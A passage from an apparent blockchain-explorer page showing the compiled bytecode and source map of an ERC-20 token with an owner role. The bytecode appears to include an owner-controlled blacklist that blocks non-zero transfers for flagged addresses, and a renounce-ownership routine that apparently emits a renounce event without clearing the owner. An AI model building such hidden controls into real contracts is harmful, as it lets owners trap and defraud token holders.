0460ff16151514156107b8576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610811565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610865610c53565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e990611672565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546109ea90611842565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1690611842565b8015610a635780601f10610a3857610100808354040283529160200191610a63565b820191906000526020600020905b815481529060010190602001808311610a4657829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060046000610ad2610c53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b86906116f2565b60405180910390fd5b610ba3610b9a610c53565b85858403610c5b565b600191505092915050565b6000610bc2610bbb610c53565b8484610e26565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc2906116d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3290611612565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e199190611712565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90611692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd906115f2565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fa75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ff05760008114610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906116b2565b60405180910390fd5b5b610ffb838383611289565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611082576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107990611632565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111179190611764565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117b9190611712565b60405180910390a361118e84848461128e565b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127c9190611712565b60405180910390a3505050565b505050565b505050565b6000813590506112a281611b3d565b92915050565b6000813590506112b781611b54565b92915050565b6000602082840312156112d3576112d26118d2565b5b60006112e184828501611293565b91505092915050565b60008060408385031215611301576113006118d2565b5b600061130f85828601611293565b925050602061132085828601611293565b9150509250929050565b600080600060608486031215611343576113426118d2565b5b600061135186828701611293565b935050602061136286828701611293565b9250506040611373868287016112a8565b9150509250925092565b60008060408385031215611394576113936118d2565b5b60006113a285828601611293565b92505060206113b3858286016112a8565b9150509250929050565b6000602082840312156113d3576113d26118d2565b5b60006113e1848285016112a8565b91505092915050565b6113f3816117ba565b82525050565b611402816117cc565b82525050565b600061141382611748565b61141d8185611753565b935061142d81856020860161180f565b611436816118d7565b840191505092915050565b600061144e602383611753565b9150611459826118e8565b604082019050919050565b6000611471602283611753565b915061147c82611937565b604082019050919050565b6000611494602683611753565b915061149f82611986565b604082019050919050565b60006114b7602883611753565b91506114c2826119d5565b604082019050919050565b60006114da602083611753565b91506114e582611a24565b602082019050919050565b60006114fd602583611753565b915061150882611a4d565b604082019050919050565b6000611520600083611753565b915061152b82611a9c565b600082019050919050565b6000611543602483611753565b915061154e82611a9f565b604082019050919050565b6000611566602583611753565b915061157182611aee565b604082019050919050565b611585816117f8565b82525050565b61159481611802565b82525050565b60006020820190506115af60008301846113ea565b92915050565b60006020820190506115ca60008301846113f9565b92915050565b600060208201905081810360008301526115ea8184611408565b905092915050565b6000602082019050818103600083015261160b81611441565b9050919050565b6000602082019050818103600083015261162b81611464565b9050919050565b6000602082019050818103600083015261164b81611487565b9050919050565b6000602082019050818103600083015261166b816114aa565b9050919050565b6000602082019050818103600083015261168b816114cd565b9050919050565b600060208201905081810360008301526116ab816114f0565b9050919050565b600060208201905081810360008301526116cb81611513565b9050919050565b600060208201905081810360008301526116eb81611536565b9050919050565b6000602082019050818103600083015261170b81611559565b9050919050565b6000602082019050611727600083018461157c565b92915050565b6000602082019050611742600083018461158b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061176f826117f8565b915061177a836117f8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117af576117ae611874565b5b828201905092915050565b60006117c5826117d8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561182d578082015181840152602081019050611812565b8381111561183c576000848401525b50505050565b6000600282049050600182168061185a57607f821691505b6020821081141561186e5761186d6118a3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b46816117ba565b8114611b5157600080fd5b50565b611b5d816117f8565b8114611b6857600080fd5b5056fea2646970667358221220e7fb5748a4723523d0f78d57bb4a53183cc083ac91eba704700bf0648f8baabd64736f6c63430008060033

Deployed Bytecode Sourcemap

7886:328:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1167:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3332:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1746:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3726:430;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1589:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4479:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2855:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2125:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1917:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2758:155:1;;;:::i;:::-;;2479:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1378:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2419:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5017:387;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2589:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3034:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1167:100;1221:13;1254:5;1247:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1167:100;:::o;3332:169::-;3415:4;3432:39;3441:12;:10;:12::i;:::-;3455:7;3464:6;3432:8;:39::i;:::-;3489:4;3482:11;;3332:169;;;;:::o;1746:108::-;1807:7;1834:12;;1827:19;;1746:108;:::o;3726:430::-;3832:4;3849:36;3859:6;3867:9;3878:6;3849:9;:36::i;:::-;3896:24;3923:11;:19;3935:6;3923:19;;;;;;;;;;;;;;;:33;3943:12;:10;:12::i;:::-;3923:33;;;;;;;;;;;;;;;;3896:60;;3995:6;3975:16;:26;;3967:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4068:57;4077:6;4085:12;:10;:12::i;:::-;4118:6;4099:16;:25;4068:8;:57::i;:::-;4144:4;4137:11;;;3726:430;;;;;:::o;1589:92::-;1647:5;1672:1;1665:8;;1589:92;:::o;4479:215::-;4567:4;4584:80;4593:12;:10;:12::i;:::-;4607:7;4653:10;4616:11;:25;4628:12;:10;:12::i;:::-;4616:25;;;;;;;;;;;;;;;:34;4642:7;4616:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;4584:8;:80::i;:::-;4682:4;4675:11;;4479:215;;;;:::o;2855:116::-;2329:12:1;:10;:12::i;:::-;2319:22;;:6;;;;;;;;;;:22;;;2311:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2929:34:0::1;2941:12;:10;:12::i;:::-;2955:7;2929:11;:34::i;:::-;2855:116:::0;:::o;2125:193::-;2329:12:1;:10;:12::i;:::-;2319:22;;:6;;;;;;;;;;:22;;;2311:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2214:4:0::1;2192:26;;:9;:18;2202:7;2192:18;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;2188:123;;;2256:5;2235:9;:18;2245:7;2235:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;2188:123;;;2305:4;2284:9;:18;2294:7;2284:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;2188:123;2125:193:::0;:::o;1917:127::-;1991:7;2018:9;:18;2028:7;2018:18;;;;;;;;;;;;;;;;2011:25;;1917:127;;;:::o;2758:155:1:-;2329:12;:10;:12::i;:::-;2319:22;;:6;;;;;;;;;;:22;;;2311:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2865:1:::1;2828:40;;2849:6;::::0;::::1;;;;;;;;2828:40;;;;;;;;;;;;2903:1;2879:13;;:26;;;;;;;;;;;;;;;;;;2758:155::o:0;2479:93::-;2524:7;2551:13;;;;;;;;;;;2544:20;;2479:93;:::o;1378:104:0:-;1434:13;1467:7;1460:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1378:104;:::o;2419:108::-;2477:4;2501:9;:18;2511:7;2501:18;;;;;;;;;;;;;;;;;;;;;;;;;2494:25;;2419:108;;;:::o;5017:387::-;5110:4;5127:24;5154:11;:25;5166:12;:10;:12::i;:::-;5154:25;;;;;;;;;;;;;;;:34;5180:7;5154:34;;;;;;;;;;;;;;;;5127:61;;5227:15;5207:16;:35;;5199:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5306:67;5315:12;:10;:12::i;:::-;5329:7;5357:15;5338:16;:34;5306:8;:67::i;:::-;5392:4;5385:11;;;5017:387;;;;:::o;2589:175::-;2675:4;2692:42;2702:12;:10;:12::i;:::-;2716:9;2727:6;2692:9;:42::i;:::-;2752:4;2745:11;;2589:175;;;;:::o;3034:151::-;3123:7;3150:11;:18;3162:5;3150:18;;;;;;;;;;;;;;;:27;3169:7;3150:27;;;;;;;;;;;;;;;;3143:34;;3034:151;;;;:::o;230:98:1:-;283:7;310:10;303:17;;230:98;:::o;7174:344:0:-;7293:1;7276:19;;:5;:19;;;;7268:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7374:1;7355:21;;:7;:21;;;;7347:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7456:6;7426:11;:18;7438:5;7426:18;;;;;;;;;;;;;;;:27;7445:7;7426:27;;;;;;;;;;;;;;;:36;;;;7494:7;7478:32;;7487:5;7478:32;;;7503:6;7478:32;;;;;;:::i;:::-;;;;;;;;7174:344;;;:::o;5698:750::-;5822:1;5804:20;;:6;:20;;;;5796:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5906:1;5885:23;;:9;:23;;;;5877:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5963:9;:17;5973:6;5963:17;;;;;;;;;;;;;;;;;;;;;;;;;:41;;;;5984:9;:20;5994:9;5984:20;;;;;;;;;;;;;;;;;;;;;;;;;5963:41;5959:72;;;6025:1;6015:6;:11;6006:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5959:72;6042:47;6063:6;6071:9;6082:6;6042:20;:47::i;:::-;6100:21;6124:9;:17;6134:6;6124:17;;;;;;;;;;;;;;;;6100:41;;6177:6;6160:13;:23;;6152:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6284:6;6268:13;:22;6248:9;:17;6258:6;6248:17;;;;;;;;;;;;;;;:42;;;;6326:6;6302:9;:20;6312:9;6302:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6365:9;6348:35;;6357:6;6348:35;;;6376:6;6348:35;;;;;;:::i;:::-;;;;;;;;6394:46;6414:6;6422:9;6433:6;6394:19;:46::i;:::-;5785:663;5698:750;;;:::o;6615:253::-;6697:22;6722:9;:18;6732:7;6722:18;;;;;;;;;;;;;;;;6697:43;;6800:6;6783:14;:23;6762:9;:18;6772:7;6762:18;;;;;;;;;;;;;;;:44;;;;6844:7;6823:37;;6840:1;6823:37;;;6853:6;6823:37;;;;;;:::i;:::-;;;;;;;;6686:182;6615:253;;:::o;7608:91::-;;;;:::o;7789:90::-;;;;:::o;7:139:2:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:2;;;411:79;;:::i;:::-;373:2;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;363:263;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:2;;;763:79;;:::i;:::-;725:2;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;715:391;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:2;;;1260:79;;:::i;:::-;1222:2;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1212:519;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:2;;;1868:79;;:::i;:::-;1830:2;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1820:391;;;;;:::o;2217:329::-;2276:6;2325:2;2313:9;2304:7;2300:23;2296:32;2293:2;;;2331:79;;:::i;:::-;2293:2;2451:1;2476:53;2521:7;2512:6;2501:9;2497:22;2476:53;:::i;:::-;2466:63;;2422:117;2283:263;;;;:::o;2552:118::-;2639:24;2657:5;2639:24;:::i;:::-;2634:3;2627:37;2617:53;;:::o;2676:109::-;2757:21;2772:5;2757:21;:::i;:::-;2752:3;2745:34;2735:50;;:::o;2791:364::-;2879:3;2907:39;2940:5;2907:39;:::i;:::-;2962:71;3026:6;3021:3;2962:71;:::i;:::-;2955:78;;3042:52;3087:6;3082:3;3075:4;3068:5;3064:16;3042:52;:::i;:::-;3119:29;3141:6;3119:29;:::i;:::-;3114:3;3110:39;3103:46;;2883:272;;;;;:::o;3161:366::-;3303:3;3324:67;3388:2;3383:3;3324:67;:::i;:::-;3317:74;;3400:93;3489:3;3400:93;:::i;:::-;3518:2;3513:3;3509:12;3502:19;;3307:220;;;:::o;3533:366::-;3675:3;3696:67;3760:2;3755:3;3696:67;:::i;:::-;3689:74;;3772:93;3861:3;3772:93;:::i;:::-;3890:2;3885:3;3881:12;3874:19;;3679:220;;;:::o;3905:366::-;4047:3;4068:67;4132:2;4127:3;4068:67;:::i;:::-;4061:74;;4144:93;4233:3;4144:93;:::i;:::-;4262:2;4257:3;4253:12;4246:19;;4051:220;;;:::o;4277:366::-;4419:3;4440:67;4504:2;4499:3;4440:67;:::i;:::-;4433:74;;4516:93;4605:3;4516:93;:::i;:::-;4634:2;4629:3;4625:12;4618:19;;4423:220;;;:::o;4649:366::-;4791:3;4812:67;4876:2;4871:3;4812:67;:::i;:::-;4805:74;;4888:93;4977:3;4888:93;:::i;:::-;5006:2;5001:3;4997:12;4990:19;;4795:220;;;:::o;5021:366::-;5163:3;5184:67;5248:2;5243:3;5184:67;:::i;:::-;5177:74;;5260:93;5349:3;5260:93;:::i;:::-;5378:2;5373:3;5369:12;5362:19;;5167:220;;;:::o;5393:364::-;5535:3;5556:66;5620:1;5615:3;5556:66;:::i;:::-;5549:73;;5631:93;5720:3;5631:93;:::i;:::-;5749:1;5744:3;5740:11;5733:18;;5539:218;;;:::o;5763:366::-;5905:3;5926:67;5990:2;5985:3;5926:67;:::i;:::-;5919:74;;6002:93;6091:3;6002:93;:::i;:::-;6120:2;6115:3;6111:12;6104:19;;5909:220;;;:::o;6135:366::-;6277:3;6298:67;6362:2;6357:3;6298:67;:::i;:::-;6291:74;;6374:93;6463:3;6374:93;:::i;:::-;6492:2;6487:3;6483:12;6476:19;;6281:220;;;:::o;6507:118::-;6594:24;6612:5;6594:24;:::i;:::-;6589:3;6582:37;6572:53;;:::o;6631:112::-;6714:22;6730:5;6714:22;:::i;:::-;6709:3;6702:35;6692:51;;:::o;6749:222::-;6842:4;6880:2;6869:9;6865:18;6857:26;;6893:71;6961:1;6950:9;6946:17;6937:6;6893:71;:::i;:::-;6847:124;;;;:::o;6977:210::-;7064:4;7102:2;7091:9;7087:18;7079:26;;7115:65;7177:1;7166:9;7162:17;7153:6;7115:65;:::i;:::-;7069:118;;;;:::o;7193:313::-;7306:4;7344:2;7333:9;7329:18;7321:26;;7393:9;7387:4;7383:20;7379:1;7368:9;7364:17;7357:47;7421:78;7494:4;7485:6;7421:78;:::i;:::-;7413:86;;7311:195;;;;:::o;7512:419::-;7678:4;7716:2;7705:9;7701:18;7693:26;;7765:9;7759:4;7755:20;7751:1;7740:9;7736:17;7729:47;7793:131;7919:4;7793:131;:::i;:::-;7785:139;;7683:248;;;:::o;7937:419::-;8103:4;8141:2;8130:9;8126:18;8118:26;;8190:9;8184:4;8180:20;8176:1;8165:9;8161:17;8154:47;8218:131;8344:4;8218:131;:::i;:::-;8210:139;;8108:248;;;:::o;8362:419::-;8528:4;8566:2;8555:9;8551:18;8543:26;;8615:9;8609:4;8605:20;8601:1;8590:9;8586:17;8579:47;8643:131;8769:4;8643:131;:::i;:::-;8635:139;;8533:248;;;:::o;8787:419::-;8953:4;8991:2;8980:9;8976:18;8968:26;;9040:9;9034:4;9030:20;9026:1;9015:9;9011:17;9004:47;9068:131;9194:4;9068:131;:::i;:::-;9060:139;;8958:248;;;:::o;9212:419::-;9378:4;9416:2;9405:9;9401:18;9393:26;;9465:9;9459:4;9455:20;9451:1;9440:9;9436:17;9429:47;9493:131;9619:4;9493:131;:::i;:::-;9485:139;;9383:248;;;:::o;9637:419::-;9803:4;9841:2;9830:9;9826:18;9818:26;;9890:9;9884:4;9880:20;9876:1;9865:9;9861:17;9854:47;9918:131;10044:4;9918:131;:::i;:::-;9910:139;;9808:248;;;:::o;10062:419::-;10228:4;10266:2;10255:9;10251:18;10243:26;;10315:9;10309:4;10305:20;10301:1;10290:9;10286:17;10279:47;10343:131;10469:4;10343:131;:::i;:::-;10335:139;;10233:248;;;:::o;10487:419::-;10653:4;10691:2;10680:9;10676:18;10668:26;;10740:9;10734:4;10730:20;10726:1;10715:9;10711:17;10704:47;10768:131;10894:4;10768:131;:::i;:::-;10760:139;;10658:248;;;:::o;10912:419::-;11078:4;11116:2;11105:9;11101:18;11093:26;;11165:9;11159:4;11155:20;11151:1;11140:9;11136:17;11129:47;11193:131;11319:4;11193:131;:::i;:::-;11185:139;;11083:248;;;:::o;11337:222::-;11430:4;11468:2;11457:9;11453:18;11445:26;;11481:71;11549:1;11538:9;11534:17;11525:6;11481:71;:::i;:::-;11435:124;;;;:::o;11565:214::-;11654:4;11692:2;11681:9;11677:18;11669:26;;11705:67;11769:1;11758:9;11754:17;11745:6;11705:67;:::i;:::-;11659:120;;;;:::o;11866:99::-;11918:6;11952:5;11946:12;11936:22;;11925:40;;;:::o;11971:169::-;12055:11;12089:6;12084:3;12077:19;12129:4;12124:3;12120:14;12105:29;;12067:73;;;;:::o;12146:305::-;12186:3;12205:20;12223:1;12205:20;:::i;:::-;12200:25;;12239:20;12257:1;12239:20;:::i;:::-;12234:25;;12393:1;12325:66;12321:74;12318:1;12315:81;12312:2;;;12399:18;;:::i;:::-;12312:2;12443:1;12440;12436:9;12429:16;;12190:261;;;;:::o;12457:96::-;12494:7;12523:24;12541:5;12523:24;:::i;:::-;12512:35;;12502:51;;;:::o;12559:90::-;12593:7;12636:5;12629:13;12622:21;12611:32;;12601:48;;;:::o;12655:126::-;12692:7;12732:42;12725:5;12721:54;12710:65;;12700:81;;;:::o;12787:77::-;12824:7;12853:5;12842:16;;12832:32;;;:::o;12870:86::-;12905:7;12945:4;12938:5;12934:16;12923:27;;12913:43;;;:::o;12962:307::-;13030:1;13040:113;13054:6;13051:1;13048:13;13040:113;;;13139:1;13134:3;13130:11;13124:18;13120:1;13115:3;13111:11;13104:39;13076:2;13073:1;13069:10;13064:15;;13040:113;;;13171:6;13168:1;13165:13;13162:2;;;13251:1;13242:6;13237:3;13233:16;13226:27;13162:2;13011:258;;;;:::o;13275:320::-;13319:6;13356:1;13350:4;13346:12;13336:22;;13403:1;13397:4;13393:12;13424:18;13414:2;;13480:4;13472:6;13468:17;13458:27;;13414:2;13542;13534:6;13531:14;13511:18;13508:38;13505:2;;;13561:18;;:::i;:::-;13505:2;13326:269;;;;:::o;13601:180::-;13649:77;13646:1;13639:88;13746:4;13743:1;13736:15;13770:4;13767:1;13760:15;13787:180;13835:77;13832:1;13825:88;13932:4;13929:1;13922:15;13956:4;13953:1;13946:15;14096:117;14205:1;14202;14195:12;14219:102;14260:6;14311:2;14307:7;14302:2;14295:5;14291:14;14287:28;14277:38;;14267:54;;;:::o;14327:222::-;14467:34;14463:1;14455:6;14451:14;14444:58;14536:5;14531:2;14523:6;14519:15;14512:30;14433:116;:::o;14555:221::-;14695:34;14691:1;14683:6;14679:14;14672:58;14764:4;14759:2;14751:6;14747:15;14740:29;14661:115;:::o;14782:225::-;14922:34;14918:1;14910:6;14906:14;14899:58;14991:8;14986:2;14978:6;14974:15;14967:33;14888:119;:::o;15013:227::-;15153:34;15149:1;15141:6;15137:14;15130:58;15222:10;15217:2;15209:6;15205:15;15198:35;15119:121;:::o;15246:182::-;15386:34;15382:1;15374:6;15370:14;15363:58;15352:76;:::o;15434:224::-;15574:34;15570:1;15562:6;15558:14;15551:58;15643:7;15638:2;15630:6;15626:15;15619:32;15540:118;:::o;15664:114::-;15770:8;:::o;15784:223::-;15924:34;15920:1;15912:6;15908:14;15901:58;15993:6;15988:2;15980:6;15976:15;15969:31;15890:117;:::o;16013:224::-;16153:34;16149:1;16141:6;16137:14;16130:58;16222:7;16217:2;16209:6;16205:15;16198:32;16119:118;:::o;16243:122::-;16316:24;16334:5;16316:24;:::i;:::-;16309:5;16306:35;16296:2;;16355:1;16352;16345:12;16296:2;16286:79;:::o;16371:122::-;16444:24;16462:5;16444:24;:::i;:::-;16437:5;16434:35;16424:2;;16483:1;16480;16473:12;16424:2;16414:79;:::o

Swarm Source

ipfs://e7fb5748a4723523d0f78d57bb4a53183cc083ac91eba704700bf0648f8baabd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.